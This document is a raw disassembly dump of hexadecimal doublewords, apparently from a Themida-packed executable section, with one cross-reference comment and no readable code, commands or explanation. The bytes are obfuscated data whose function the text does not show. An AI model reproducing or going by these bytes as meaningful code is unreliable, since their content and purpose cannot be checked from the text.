		dd 1E597302h, 92F79D0Dh, 0BFA9CE5Bh, 0F9E5E952h, 317ACD36h
		dd 15662289h, 9F951032h, 1A06D339h, 0AB06848Dh,	6D5C2B9h
		dd 0C750BB88h, 4707E914h, 0FBE6CE84h, 95B8D498h, 84D6E0F4h
		dd 1A3C7802h, 15664FB1h, 1560CB32h, 0C461132h, 0F9BF5E81h
		dd 1AD41654h, 9E00F312h, 0D1E73526h, 15668830h,	156657DBh
		dd 93CD5432h, 3527EE75h, 6D527A5Bh, 9114C6h, 0BDDA64D5h
		dd 18FD93Ah, 9C668832h,	0C4150A6h, 0E5C18CAAh, 947D9E9Ch
		dd 0AA589F7Fh, 0BFE3CFF4h, 157CA03Dh, 0FC061132h, 15668835h
		dd 6480C4E9h, 0FC13D649h, 15661135h, 8B4816F9h,	744CA229h
		dd 6CB09B63h, 0DE6764DAh, 949DA16Bh, 0FD1F92D9h, 0AC37DA47h
		dd 15661136h, 7AE063B3h, 0DE4F4240h, 7AE0E1B3h,	0FC3F1740h
		dd 15668838h, 0DF3998D4h, 0F2A8A65Bh, 9069E6CBh, 1566883Ah
		dd 1564C43Dh, 74062232h, 0D657C903h, 1C8F5003h,	0A0664432h
		dd 7053C96h, 0CBC5327Eh, 0AD367199h, 15664430h,	11EDE433h
		dd 11A29216h, 156B033Dh, 1D8F4432h, 0E0662232h,	0C0EC3943h
		dd 9C4D0844h, 56CD587h,	90A1D734h, 13763B2Fh, 15668833h
		dd 0E2D94B52h, 3B3C098Ch, 9D697057h, 15668838h,	1A072452h
		dd 156622B7h, 41367032h, 15628D6Ah, 0D5E54432h,	3162A536h
		dd 14E41E6Eh, 0EC668832h, 15664ADBh, 65A94C32h,	468A35E6h
		dd 1946F604h, 9E80BA94h, 9C31062Eh, 11A190D5h, 96668832h
		dd 29E140F5h, 9D697E16h, 1566113Ch, 156681DBh, 0AFAA5532h
		dd 0BF946DACh, 19ED4D89h, 0F6EFDB16h, 156287B3h, 0D6E52232h
		dd 317A9636h, 9C30706Eh, 11A0C5D4h, 96662232h, 0EA3015F4h
		dd 4B62AC46h, 494240BDh, 0F7EF70CBh, 1562D3B3h,	0AD368832h
		dd 15664436h, 923EE033h, 0EC3A3526h, 0EABC6BDBh, 1A0624CDh
		dd 156622B0h, 0FBAC9032h, 746126D5h, 4007BF86h,	0C868E28Fh
		dd 0A1AB9059h, 5008302Ah, 942B91C5h, 17872AC7h,	488838A2h
		dd 157461CEh, 300F4432h, 63BE8B0Dh, 0AE0EE6FFh,	0B7721928h
		dd 1EE80C82h, 0A5829561h, 15D13D37h, 4ED18CCAh,	0EC9F2452h
		dd 0FFDE4453h, 0E0CC705Bh, 0CADED864h, 147FE94Dh, 4D620676h
		dd 6AB93C6Ah, 7506919Fh, 0AB0025CAh, 43070289h,	4F36AF8Ch
		dd 4B96A151h, 0AB63BC1Bh, 0EC057862h, 1561953Dh, 0A5068832h
		dd 0E3D14BFDh, 7D317053h, 7C1A44A6h, 0C089096Dh, 0E2634670h
		dd 5091A3EDh, 9CFD94DFh, 0C54FD7C8h, 1576AD68h,	3F5E2232h
		dd 0C993B5C8h, 0E26F3A06h, 3340D636h, 0E0CD19C0h, 10869862h
		dd 15668836h, 926284B1h, 31ED0636h, 94007116h, 0A499E9E4h
		dd 9ED25D7h, 0F0EF7716h, 1562D4B3h, 0D0E58832h,	314AC336h
		dd 1560CB6Eh, 0BD1F1132h, 0F8F1E326h, 316ACFCBh, 9483AB67h
		dd 156615F7h, 11A30B32h, 494268B5h, 3152A9CAh, 94839867h
		dd 15668CF7h, 11A3C732h, 49420EB5h, 0F6EF42CBh,	15623260h
		dd 0C6674432h, 11A5A168h, 49420DB5h, 0AF06E8CEh, 3FA5A98Bh
		dd 0EFD92D53h, 0C9EDF853h, 0AB0677CDh, 3E9806ABh, 37E3E553h
		dd 10600694h, 75668832h, 9EA1FB3Dh, 750643E4h, 0DAE777C7h
		dd 740739D5h, 314AC564h, 40B4F9Fh, 94420DB9h, 15668CF6h
		dd 0B8A5C532h, 1A774F5Fh, 156610B6h, 40307432h,	1566408Fh
		dd 4888AB32h, 1A38E233h, 156691B1h, 1572AD32h, 6C632232h
		dd 0A61655A6h, 13756B2Dh, 18E1F1FBh, 0FD578F06h, 0AC3751C6h
		dd 15668832h, 0C65B533h, 94422EB9h, 156615F6h, 1EE88732h
		dd 75664432h, 4B67F8B3h, 0DBE64ABAh, 90EDE923h,	137669D7h
		dd 157BA03Dh, 0FD061132h, 15668822h, 9C4A30A7h,	0CC7244B9h
		dd 87505EB0h, 313B942h,	0DFE7226Dh, 9E075808h, 54E4CA7h
		dd 429A7D34h, 6210858Dh, 0D2E76D39h, 0E1EE980Dh, 0FC397633h
		dd 15664420h, 30C4519Eh, 258E4C88h, 5E0BF17Eh, 0AC842AC0h
		dd 0A8E5E971h, 1376059Fh, 0FEE28733h, 1A664437h, 156623B1h
		dd 0CD5DE832h, 155A0A3Dh, 75064432h, 15662FDAh,	23838532h
		dd 0ABFF4BDAh, 0F5A46F2Ah, 1A3FBCE8h, 156611B9h, 0AA00E932h
		dd 2E07403Ch, 52E02DE8h, 75661133h, 0E6D98752h,	0E12796B3h
		dd 0AB077494h, 5993B4E4h, 0A0EF7053h, 13764EA3h, 9F694352h
		dd 15661133h, 37FB03CBh, 75605394h, 0ED3F7452h,	2CF7AE53h
		dd 4007EFB0h, 287D378Fh, 310A2316h, 49674C22h, 79E78416h
		dd 0E154816h, 9369060Fh, 15661133h, 103A61CEh, 0E0064432h
		dd 315AA953h, 94819865h, 15668CF5h, 11A1C732h, 49421EB5h
		dd 12E11ECEh, 1A668832h, 156645BDh, 90A1DB32h, 1376059Fh
		dd 15668833h, 16E54B52h, 73662232h, 18FE3B9h, 73668832h
		dd 0D4FAAD62h, 0D9535442h, 9E7678ACh, 0EF9D39EDh, 74F9A019h
		dd 45423EB9h, 1163F1BBh, 10668832h, 15664436h, 494226B5h
		dd 156619DBh, 0B27AA032h, 994A0DECh, 316AA9EEh,	94839867h
		dd 15668CF7h, 11A3C732h, 49420EB5h, 156A933Dh, 92698832h
		dd 15664434h, 1566A73Dh, 21ED1132h, 0F3EFDE16h,	156282B3h
		dd 0D3E72232h, 15661136h, 4942BCB5h, 0F0EF11CEh, 1562E7B3h
		dd 0D0E51132h, 314ABB36h, 26426803h, 1A3A061Eh,	156609B4h
		dd 15756132h, 4344432h,	0B071A860h, 0BE9C6A3Dh,	0AF427298h
		dd 30E334B4h, 0C24CCBB1h, 7306EECDh, 0E98B858Dh, 0A8E5BC53h
		dd 1376082Fh, 4AE21E33h
		dd 0FC668836h, 15664422h, 0D24057F3h, 8A71E53Fh, 502D2646h
		dd 95B0FCB7h, 3883BF19h, 9E9A1722h, 56CADBFh, 0FCE7B834h
		dd 2165F19h, 46B9F8B3h,	0CC67B117h, 46B985B3h, 0D4E71B17h
		dd 2166C19h, 15668DDBh,	46CF7C32h, 0AD36BAEFh, 54A63281h
		dd 206E68F3h, 0E6D4FF16h, 3C3EE333h, 318F90CBh,	1A55193Ah
		dd 156645B0h, 0AA31DB32h, 338E19DEh, 1D8167B3h,	0EC4F62DAh
		dd 0AA00426Dh, 0CAE79558h, 59FF3807h, 0A1361653h, 868AA2D2h
		dd 0A53EF7BAh, 4F96B896h, 1568C73Dh, 1C8F2232h,	68661132h
		dd 0C9D7EEBCh, 0FDF513A2h, 0DD57DA98h, 0DD57D003h, 9C6923CAh
		dd 15664435h, 1567A13Dh, 429E1132h, 0AE356FBBh,	15664436h
		dd 963DFD33h, 29E115F5h, 9A69D416h, 15664429h, 15ED2D52h
		dd 0FD661132h, 1566883Fh, 68C8CA07h, 4ACDB712h,	0C7D1D7F1h
		dd 0EA07D2DCh, 943D6006h, 156626F6h, 19EDE832h,	0F3EFDE16h
		dd 156282B3h, 0D3E72232h, 15661136h, 4942BCB5h,	3152BBCAh
		dd 11A2A16Ch, 1C8E7152h, 50668832h, 7FB95A1Ah, 0AD019C7Ch
		dd 0FC07E86Ch, 15668822h, 771F4FA3h, 8D117689h,	0F6A076DEh
		dd 0CBC1941Ah, 0F6EF1753h, 1562E1B3h, 0D6E51132h, 317A0F36h
		dd 0FC4260B9h, 15662238h, 0F443E27Dh, 830ACBBEh, 0B78FDE76h
		dd 0E999DDEAh, 0B34494F5h, 15648E25h, 7D9A4432h, 15661629h
		dd 9C423DBBh, 488D01C7h, 940024CAh, 74F8E9D0h, 1A68A73Dh
		dd 156689BFh, 0ECE6BC32h, 39E52DB2h, 0E0661132h, 1E0963B3h
		dd 0FEE74589h, 755614D9h, 0D6E7DA33h, 7556BED9h, 1E0987B3h
		dd 45932389h, 0EA99EE8Ah, 4DA5A1CDh, 15E1ADC7h,	479E2232h
		dd 0E7E63780h, 12844823h, 0E330AEB2h, 95A4DCE8h, 0D4E639C0h
		dd 95B7A0A9h, 753CDFDBh, 156627DBh, 0ED024932h,	9B69A544h
		dd 15664433h, 9A6943CEh, 15661133h, 3FF3E0CBh, 19EF4432h
		dd 317AD516h, 4034ED6Bh, 0F20ED18Fh, 0D0A3C56Bh, 9412D218h
		dd 6247CF7h, 0F0A7CD7Bh, 148BC53Ah, 9C8CF7B9h, 0C4474CD8h
		dd 749AE868h, 562F87B3h, 0DE4F00CDh, 562FA863h,	0DE4FAACDh
		dd 9400246Bh, 0AE924FDDh, 3E157A15h, 0F0E30353h, 0FC60541Fh
		dd 15662239h, 293F2932h, 16E8B808h, 9E7DC82Bh, 54E7FA7h
		dd 12E81E34h, 75668832h, 9EC585B2h, 0D18F43ECh,	0E999EEC9h
		dd 0B3440DF5h, 15644225h, 1A062232h, 156613B4h,	7307E832h
		dd 368AAB3h, 118AA153h,	9C423DBBh, 488D01C7h, 156654DBh
		dd 6D1C4D32h, 3ACC7F78h, 0A995B048h, 9F974175h,	1BD02DC6h
		dd 0C4D11E52h, 959F0853h, 153AC73Dh, 0EC062232h, 3AD84753h
		dd 142B7338h, 0DE671AC1h, 1F49C9B3h, 128F5CC9h,	36668832h
		dd 0DA204CFBh, 0AA318EEAh, 0EA99EECDh, 0ED39731Bh, 15B7ADCBh
		dd 0FC062232h, 15661121h, 2A5EBE87h, 0C35968F0h, 0A4331CBFh
		dd 0A951A623h, 0FC80BE19h, 15664435h, 0D0C18BB6h, 7404BE99h
		dd 13D8EE52h, 0A7342547h, 1384E215h, 190EA162h,	0EB6DAC01h
		dd 317660FAh, 3DB42686h, 0D7E649F0h, 70AC08EDh,	3D74B6B2h
		dd 9B6978E3h, 1566113Ah, 1564013Dh, 74064432h, 0FCE7F3C5h
		dd 0EA99EECDh, 15668DDBh, 7AB98D32h, 0F9E52FCCh, 317A9836h
		dd 40027589h, 46ADC531h, 944C2E60h, 0B060ABF1h,	9E8D095Ch
		dd 942FC915h, 176C7FF9h, 32AD9033h, 94516F17h, 0E218C4D9h
		dd 4EBF0345h, 15661FDBh, 38048B32h, 16B72CDFh, 88ED9CB8h
		dd 409D4FD5h, 28269B8Fh, 488D6D57h, 0D6E7E91Bh,	705B5121h
		dd 0D6E7EE52h, 0AC00829Fh, 9E07EED7h, 54BF4B7h,	15616134h
		dd 72574432h, 0B2F1F787h, 1563F8A1h, 97F78832h,	9ED4E7E5h
		dd 54E7FA7h, 1C8F7134h,	0CF668832h, 9A321798h, 0FDA9F4D3h
		dd 1564923Dh, 74068832h, 8DBC753h, 14603218h, 0ED53953Dh
		dd 940677CDh, 35F404D0h, 74979752h, 9769C909h, 15668825h
		dd 156EC43Dh, 9B692232h, 15661130h, 0C65FE952h,	0FBB8C23Dh
		dd 459FDDCDh, 0EF0C898Ah, 0A45854Ah, 53631D73h,	3CE026B2h
		dd 1B8F49F4h, 0A668832h, 8330835Bh, 32C974CCh, 3445BBB8h
		dd 9E3070DDh, 0D1E5603Eh, 156FCB36h, 311E1132h,	0C4E101B2h
		dd 943BA932h, 321140F3h, 429F381Bh, 2E181A8Dh, 0C5A1C528h
		dd 3C68C9CAh, 9B694ECBh, 15668833h, 7612CCBh, 9EF2232h
		dd 1563AA16h, 0CC4F8832h, 78F2469h, 0CB662232h,	624A4B85h
		dd 0B3CB9B32h, 2BF9C58Fh, 0AD3A01C5h, 0A507E895h, 1D86481Dh
		dd 258FF260h, 0FD0678C2h, 15661137h, 1212CEDDh,	4E072496h
		dd 0CBD92D52h, 74A89A54h, 1A932253h, 15665AB5h,	0DE22D32h
		dd 0FC661132h, 15668821h, 3AFB47C0h, 4EEBD785h,	0F711DFA6h
		dd 6CAC47DAh, 2448F631h, 24A713FAh, 0FDE771FAh,	762E85E8h
		dd 0BE07A5B8h, 15662BDBh, 27565F32h, 6075E02Dh,	0F78FD912h
		dd 7599DDE6h, 9BD9054h,	74B83FB7h, 1566FF61h, 0E6672232h
		dd 9ED12B8h, 11A20B16h,	1568CD3Dh, 1C8F2232h, 0A2661132h
		dd 49F8C122h, 0C6CE4AD7h, 1A8E1ECBh, 15664FB6h,	0A6D8E832h
		dd 0ED55FE98h, 9E004253h, 74DFA4C8h, 250AE061h,	5E3D651Eh
		dd 0F6B7F9C5h, 75B0D2B3h, 0CDEFCA6Ah, 964258B9h, 48F26F6h
		dd 83661132h, 64503406h, 7FE2D119h, 0BE7A6ED7h,	488C0ED6h
		dd 156686DBh, 192C2232h, 0CAC03D62h, 840FE050h,	0FCBC9C3Bh
		dd 156645F3h, 1567A33Dh, 409E1132h, 0D0E76DBBh,	15664436h
		dd 1562CFB3h, 39E11132h, 9EFD416h, 1561AD16h, 0AEA52232h
		dd 0A5502CA5h, 9C35DD4Eh, 4EBBCDC1h, 1A3BC9BBh,	156609BAh
		dd 15756132h, 53D94432h, 0E45DA6F6h, 0DF9F7152h, 82069651h
		dd 22C0C3BAh, 14DC70D7h, 94661132h, 0D6C18F0h, 94944563h
		dd 0D6CB2D8h, 4F7C1263h, 156682DBh, 17EDF132h, 0F835DB79h
		dd 0FC173C4Ch, 15668826h, 4945B30Ch, 5A4C858Ah,	0FBBFA9FCh
		dd 0E101B25Fh, 554D6233h, 15639860h, 0C6671132h, 94429CB9h
		dd 156640F6h, 1C8E4232h, 61661132h, 41810BEFh, 1C0A88B1h
		dd 4EA79D3Dh, 1576983Dh, 1E8F8832h, 7B664432h, 0D13D3F9Ch
		dd 98B4849h, 44071808h,	0DDEEAC83h, 96422EB9h, 18F15F6h
		dd 71668832h, 0D616F093h, 0F9A12D13h, 611DE036h, 87833008h
		dd 0BF39D32Fh, 4B9F7552h, 4407C8B9h, 9827D48Bh,	32A7C50Ah
		dd 946A276Bh, 0FEF1FCF3h, 4CADA1EDh, 0D6E7BF1Bh, 31181042h
		dd 15661BDBh, 0CAF02132h, 6F3EC2E0h, 42C7FD09h,	1562AA61h
		dd 0CAEF8832h, 4A9D6D69h, 156AA23Dh, 90691132h,	15668834h
		dd 1566C53Dh, 0CD572232h, 0CD57D203h, 9C6923CEh, 1566443Eh
		dd 1560A73Dh, 98691132h, 15668832h, 4E4270CDh, 1562E6B3h
		dd 58F1132h, 0E668832h,	85470EFFh, 0E2C119D0h, 0E6404850h
		dd 4566FAE0h, 1566418Ah, 7F88A332h, 14658A1Dh, 7FA009F4h
		dd 4D65DF1Dh, 15662BDBh, 94545B32h, 5D4B1734h, 0AF3426D7h
		dd 15662233h, 1EDC1BBh,	11A20B16h, 156641DBh, 88840832h
		dd 138F08CAh, 0F8668832h, 64D3AF76h, 7D9AE1DAh,	1566283Fh
		dd 1A4284BBh, 156648B9h, 13E02D32h, 1A661132h, 156688B4h
		dd 23992232h, 3162A954h, 0FC64D5B1h, 1566883Eh,	9AA7B151h
		dd 0F4820A6h, 1E0CDBA4h, 91694B0Eh, 15664521h, 1AAD1ECAh
		dd 15671BB6h, 0D75A7432h, 1405C03Dh, 75062232h,	0FC074962h
		dd 15668823h, 64A325Bh,	4C14776Bh, 7B397164h, 0D8698F57h
		dd 0DF5A25C4h, 1459A63Dh, 138F1132h, 4E668832h,	728DCADAh
		dd 0EA5B442Dh, 74E21E17h
		dd 75668833h, 9FAFF33Dh, 1E8F43E5h, 7D661132h, 79CBF952h
		dd 5868F46Ah, 28002CFCh, 9069EE1Ch, 15668868h, 9480CE52h
		dd 3393B8D2h, 9A0E707Ch, 9C66887Dh, 17DD602Eh, 14662232h
		dd 4E659BC1h, 0A037EECBh, 738E64C2h, 94422EB9h,	156613F6h
		dd 15746132h, 0E1964432h, 0E6C1151Ah, 0E2095F2Fh, 27205D28h
		dd 65EB0CF7h, 9169820Eh, 1566107Ah, 156E0B3Dh, 9C694432h
		dd 15662230h, 19ED7052h, 0F2EFDF16h, 156283B3h,	0D2E72232h
		dd 15661136h, 4942B4B5h, 150EBCCEh, 9E662232h, 0D1E53536h
		dd 156B6136h, 0BFD4432h, 3375219Ah, 4A3BCAB7h, 0FC5FDBF7h
		dd 1566459Ch, 1E8F42CBh, 0A0661132h, 198E716Ch,	0E5AC905Ch
		dd 2407B579h, 1A8E71FBh, 33668832h, 2A38C7ACh, 0FCC7115Ah
		dd 9FDED841h, 1A39D8F7h, 156642BCh, 15EA2D32h, 74661132h
		dd 25853664h, 0FBE721A2h, 26840CBDh, 6458DFB3h,	0C391824Ah
		dd 9463A2F3h, 0DB09FDC4h, 4B97384Dh, 157761CEh,	2FA24432h
		dd 8D8115DAh, 8A855A0Eh, 0EA9CEF12h, 0FCCAA068h, 15662287h
		dd 16DB44CAh, 45668832h, 0D4EFACBBh, 1E8F7F6Ah,	0FF661132h
		dd 0EC8A825Ch, 690713CCh, 878F4277h, 1A661132h,	156687B7h
		dd 156CAD32h, 6E982232h, 3D356F09h, 289CD51Eh, 11E92C65h
		dd 0E239666Ah, 639190E5h, 9CDD2FC9h, 315ACFCBh,	7562E6B1h
		dd 15661BDBh, 7B0AD332h, 221B2B46h, 0FDE30AD0h,	1566113Fh
		dd 7655AA4Ch, 0A98B523h, 9B1CBF76h, 1568F8D7h, 0DD5E8832h
		dd 63D31AEBh, 0F6EC8492h, 16F0B4BEh, 3F8FE96Dh,	0E9664432h
		dd 45240A8Bh, 0FAAF9018h, 430B0C0Bh, 7C1D048Ch,	4D88A37Dh
		dd 24B985CDh, 0FC9ED6C3h, 1566443Bh, 10AB4E22h,	0A639CA3Dh
		dd 75C27BEEh, 1D8F8180h, 82662232h, 5C011487h, 74952EB9h
		dd 749E2452h, 48EBA953h, 0E960011Ah, 906941B7h,	1566442Dh
		dd 156EAA3Dh, 9A691132h, 15668830h, 98692552h, 15662236h
		dd 743C4152h, 3D3B3DBBh, 9E9F4222h, 9C37063Eh, 11A790D3h
		dd 94668832h, 156640F3h, 316AA532h, 0E3E6716Eh,	0D08E0982h
		dd 7420CC80h, 5C5C9D65h, 0C2917A7Eh, 399D47B3h,	0D2E73794h
		dd 1D2E6330h, 1A39E9BBh, 156689B2h, 75A5B832h, 0D63ED89h
		dd 17EF1E13h, 43668832h, 0FD062568h, 15662221h,	505BA53Eh
		dd 0DB37A735h, 0AF26F418h, 86A44618h, 0AF236297h, 73D595B9h
		dd 16EA4B68h, 95662232h, 7D07E9E8h, 156697E3h, 0AF4250BBh
		dd 15662232h, 9E00E333h, 299FD230h, 2AE24BF1h, 0ED662230h
		dd 1573903Dh, 58F8832h,	8B664432h, 0CDAFF13Ch, 0B8CEE9A4h
		dd 0B7DEB96Fh, 47EB15DEh, 9DA5AA61h, 0C6EE4AE8h, 14EC8768h
		dd 0ED664432h, 0EBFF9363h, 6BAF91FBh, 359449B2h, 0FC061DF9h
		dd 15662222h, 5440C8Dh,	5DB8CCF8h, 7C6264Eh, 70E652E9h
		dd 156603DBh, 0E8304432h, 3C9AA058h, 1BE979ECh,	622F5A80h
		dd 744ABAC5h, 1A16BFB2h, 15620FB6h, 0FC5AED32h,	14A20C3Dh
		dd 75064432h, 9A69E8B8h, 15661132h, 15746153h, 11C94432h
		dd 8BE77838h, 82E794B6h, 0FF529C81h, 28082336h,	1A8D1E53h
		dd 156788B6h, 198FE832h, 0BE664432h, 600F5FB3h,	31031C0Ch
		dd 742ED8EDh, 0F7E72252h, 9400E721h, 74EC45F9h,	91694A0Eh
		dd 15664540h, 156629DBh, 55023132h, 1195085Ch, 3D9DCBBCh
		dd 9169E90Eh, 15661068h, 156686DBh, 841CCA32h, 905CB9C6h
		dd 8C46C095h, 75C8E35Fh, 156649DAh, 4D6FEF32h, 0D562CC15h
		dd 0F63903A2h, 0AD0008E1h, 743837D4h, 30992C54h, 14420C3Dh
		dd 9C694432h, 15662227h, 0FC077152h, 1566883Eh,	0D71C5DDBh
		dd 7728646Bh, 61BE96B8h, 1AACB453h, 156745B6h, 94004232h
		dd 748B08EAh, 91696B0Eh, 15664760h, 94007552h, 4E4DEDE4h
		dd 1560063Dh, 90694432h, 15662232h, 3B5B7753h, 68E387CDh
		dd 75664432h, 45B5A954h, 949F7069h, 15668CDEh, 3172CD32h
		dd 15662088h, 9F941032h, 0E906D230h, 749DF33Dh,	0E3F89161h
		dd 95ADEFE1h, 0FEE60AD9h, 0D1D614EEh, 8B4A7916h, 9752833Eh
		dd 0D6564A36h, 4EBE646Ah, 15E82D52h, 0FD661132h, 15668823h
		dd 5F251E0h, 0FBFE7B7Eh, 7D92A10Ch, 41BBBF9Ch, 0E5D14B93h
		dd 0B55A4368h, 150E953Dh, 75068832h, 19ECACB3h,	1A071546h
		dd 156613BBh, 74950232h, 0B578558Ah, 1B492F6Ah,	382627A5h
		dd 758CBD61h, 289CFD63h, 0CC911A64h, 5197D0B3h,	0E4E7ECD8h
		dd 730641D1h, 253FC3B3h, 0E4E76ABEh, 6E3CB9C6h,	0E23F8C13h
		dd 0CA7D0FE2h, 0A306FF01h, 6A609F4h, 740704F1h,	15667BDBh
		dd 0FC06ED32h, 15668837h, 5BF790F9h, 0A0EF4389h, 1376396Fh
		dd 0D8FB05CAh, 1A60529Ch, 15662FBEh, 156EF832h,	0DC88832h
		dd 2FA537C9h, 9969AD2Fh, 1566113Fh, 156680DBh, 2CDEEA32h
		dd 51776EDAh, 0E0B5EE2Dh, 1422E067h, 39ED1240h,	11A2A116h
		dd 1425FCB3h, 0FDEFDE40h, 0FCA5B86Fh, 1566223Fh, 9C69B2D0h
		dd 42835F76h, 0CE7FFCBCh, 0F0EF7743h, 1562D4B3h, 0F8E78832h
		dd 15664436h, 49420EB5h, 754215BBh, 0EA0750B8h,	11ED5444h
		dd 11A2A316h, 75661132h, 157560CEh, 0EF694432h,	5C2BE9E5h
		dd 40462C83h, 97116631h, 66F40FFFh, 5F84A3FAh, 4F07309Ah
		dd 0F8E30153h, 0FC605413h, 1566223Ch, 23E37235h, 0FA461FFAh
		dd 0C9F92B94h, 219978F4h, 0D1E74916h, 15668836h, 1568AD52h
		dd 6D0C2232h, 470417E8h, 0F28006CFh, 0F81D3C73h, 157EAC3Dh
		dd 68F1132h, 7D668832h,	57E7127Ah, 14101632h, 55BCAB62h
		dd 0A741476h, 4407883Ah, 4A529D65h, 0D2E736A8h,	0CD0328DAh
		dd 1439BDBBh, 1A9A7BFCh, 156601BCh, 156D6132h, 0CD1B4432h
		dd 0CBE0E2D8h, 3C3B84A8h, 60DB054Fh, 1A605436h,	156623B4h
		dd 0FCCBE432h, 1566883Dh, 0F022E3C0h, 4996C794h, 0B27790C5h
		dd 0FCD7B74Fh, 15664437h, 91A881A1h, 0FE21407h,	7F4B9A1Ch
		dd 160AEB3Eh, 10420676h, 79C91D58h, 3B7C0C1Fh, 14E54B20h
		dd 0ED662232h, 1BEC1E99h, 75668832h, 1566C53Dh,	96692232h
		dd 15661132h, 24DB0553h, 1A60543Bh, 156623B8h, 0FCCBED32h
		dd 1566883Fh, 0D227F8E7h, 15814D0Ch, 6DDE2611h,	68318D0Ah
		dd 304B0DCCh, 16580372h, 10423576h, 2B47C817h, 0EB1B131Fh
		dd 0C6E7427Bh, 3355C974h, 74B00354h, 154EFF5Ah,	3162AB32h
		dd 156A973Dh, 98698832h, 15664434h, 1566AF3Dh, 0FCCD1132h
		dd 15668821h, 0DDE93D3h, 0A81F5EE7h, 897ADEF8h,	37DE39B8h
		dd 9873D5EFh, 54C578Fh,	156EF834h, 81908832h, 521BFBC9h
		dd 0FCCB798Eh, 1566113Bh, 0A21DA2A9h, 0ADBFBE43h, 21F60F88h
		dd 516563C1h, 0A833A016h, 679570A2h, 0FC3BCA33h, 1566113Ah
		dd 83C4029Dh, 4BACC650h, 14EA2D99h, 0ED661132h,	4B42BCCDh
		dd 156280B3h, 44062232h, 0CDB1C58Bh, 0FFD8D014h, 741C3EF3h
		dd 9C31DBF1h, 11A190D5h, 96668832h, 29E140DDh, 21EF7E16h
		dd 1563F816h, 0DB08832h, 754917E1h, 73AEA954h, 74CB818Bh
		dd 0B89215BFh, 0EA9A4224h, 8FD7E1h, 0F9FFFFCFh,	0D24ECEDFh
		dd 0FD4AA86Ch, 51A2458Ah, 2EC0D5F2h, 96A452F2h,	152AA8EDh
		dd 2429458Ah, 1957DFA0h, 5E917926h, 152A1E2Ch, 5E89798Ah
		dd 152A162Ch, 5ECA798Ah, 152A492Ch, 5E13798Ah, 152A382Ch
		dd 5EF2798Ah, 152A5C2Ah, 5EFA798Ah, 152A6B2Ah, 51D6AC8Ah
		dd 60D554A8h, 59D7BA86h, 665ACE25h, 0DCF1439Dh,	25E1332h
		dd 0D871BA8Ch, 42C3A8EDh
		dd 0AEA2458Ah, 60D558DDh, 0D138C882h, 462C43DBh, 25E5DF07h
		dd 0C6D552BFh, 0B85E0003h, 152A5492h, 0AEAE3075h, 8FA75CDDh
		dd 57B53606h, 52B0D9FBh, 0AEA452FEh, 0E96FDD7Bh, 51A25863h
		dd 195FABA8h, 0DCAA3075h, 259CC32h, 0CB2F168Ch,	133D20EFh
		dd 142B9675h, 152ABD54h, 0DAC3458Ah, 0D7E3A8EDh, 44BA4582h
		dd 0EB000030h, 0F392C00Ch, 6572F355h, 0D690955Eh, 662E992h
		dd 56E90000h, 14000006h, 0FC7B2F72h, 0CA510D44h, 0E76EEA23h
		dd 0C4530744h, 7F6DE120h, 0E01FD103h, 0FB3CED6Ch, 0D712B83Fh
		dd 0F62BD463h, 0B6754742h, 6BDB050Ch, 32410BE8h, 0DE504479h
		dd 7CB90900h, 15D6DCCh,	0E5BB6FECh, 38EC083Fh, 0C3AFF0A1h
		dd 9D4620C4h, 0EA77755Fh, 0EB070E5Dh, 6B173B37h, 8D79B86Ch
		dd 421C590Eh, 4CD56D1Ch, 1C0F6DCCh, 6DCC4CA6h, 382AE23Eh
		dd 0CC4CF151h, 3D19156Dh, 0E9835E20h, 8BA4F305h, 323D03CBh
		dd 0B13256B4h, 0B126D558h, 0BEDB56ABh, 0F03256D5h, 9F0AD95Fh
		dd 1963B725h, 7F77FC06h, 5DB9464Bh, 0B1325C47h,	0CF66E257h
		dd 0C83A541Dh, 59CA9B64h, 5E983EAh, 0F1B0A4F3h,	7AF29D11h
		dd 0FB2375FDh, 6D348C17h, 3FD525FBh, 9EADFDF5h,	2291627Ah
		dd 7ACFB734h, 29B723ACh, 7A1A20ADh, 277975FDh, 0F3A6987Ch
		dd 0FFA073EAh, 0E983F296h, 8BA4F305h, 26BD8DDBh, 8D0617A6h
		dd 182DB18Dh, 6644B806h, 0CF2B3215h, 3102E9C1h,	83C8D007h
		dd 754904C7h, 0EE9F6h, 95A70000h, 0CD5292D8h, 96123D9Bh
		dd 304D9092h, 48150F8h,	5F606824h, 0BE565826h, 265F6068h
		dd 605EF029h, 0F961C78Bh, 158DBD83h, 75000610h,	95BD8309h
		dd 61000h, 53501974h, 11B8C08Bh, 89000004h, 10132D85h
		dd 7C9D8D06h, 0FF0612B8h, 83585BD3h, 100095BDh,	17740006h
		dd 11B85350h, 89000004h, 10132D85h, 1D9D8D06h, 0FF0612B5h
		dd 60585BD3h, 42B7C3BFh, 0F2BF0F46h, 5E961h, 0BA530000h
		dd 682C55FBh, 1C44h, 58240489h,	18F0Fh,	60FC0000h, 81CA8B66h
		dd 9E937EEh, 0E8F86118h, 6, 0DF62F50Ah,	8B6688CEh, 0C3815BF0h
		dd 72CCh, 1C8968FCh, 0F5A0000h,	683h, 0E1E68100h, 8B1FEF3Fh
		dd 0AE83Bh, 0E1E30000h,	53BEA2E2h, 2A180768h, 8159C78Bh
		dd 410951EFh, 0CB8B665Bh, 78F4C781h, 13E860A3h,	0F3000000h
		dd 0E344A5CAh, 0F6A95526h, 7059532h, 0ABF2366Fh, 0EE8AC562h
		dd 0DBC7815Eh, 812ECA4Eh, 8F54B3E6h, 0DD805769h, 83038FC9h
		dd 0C78B04EBh, 1EA81h, 850F0000h, 17h, 0E9C38B66h, 20h
		dd 9E9E3B5Bh, 13D4BD8Bh, 3DEA7F21h, 80E8ECEBh, 80E994E1h
		dd 1CFFFFFFh, 665177D3h, 126C3F42h, 0EDE9h
		db 0
byte_5CE57D	db 60h,	66h, 8Ch	; DATA XREF: Themida_:0054E4A4o
		dd 0F04A8D8h, 0DF84h, 41B58B00h, 83061014h, 850F00FEh
		dd 22h,	23E585C6h, 68450610h, 8E726969h, 1499B5FFh, 858D0610h
		dd 613858Ah, 8589D0FFh,	61009ADh, 3E80F08Bh, 31850FE9h
		dd 8D000000h, 159D9585h, 8BD0FF06h, 102955BDh, 84C78106h
		dd 8B000011h, 101441B5h, 0B9F78706h, 8,	0B58BA4F3h, 6101441h
		dd 0C1E7858Dh, 0D0FF0613h, 875B58Bh, 0FE830610h, 22850F00h
		dd 0C6000000h, 1023E585h, 0F4685406h, 0FFFF4EBEh, 101499B5h
		dd 8A858D06h, 0FF061385h, 758589D0h, 8B061008h,	0E93E80F0h
		dd 3A850Fh, 0B58B0000h,	6100875h, 9D95858Dh, 0D0FF0615h
		dd 2955BD8Bh, 0C7810610h, 1184h, 8B08C783h, 100875B5h
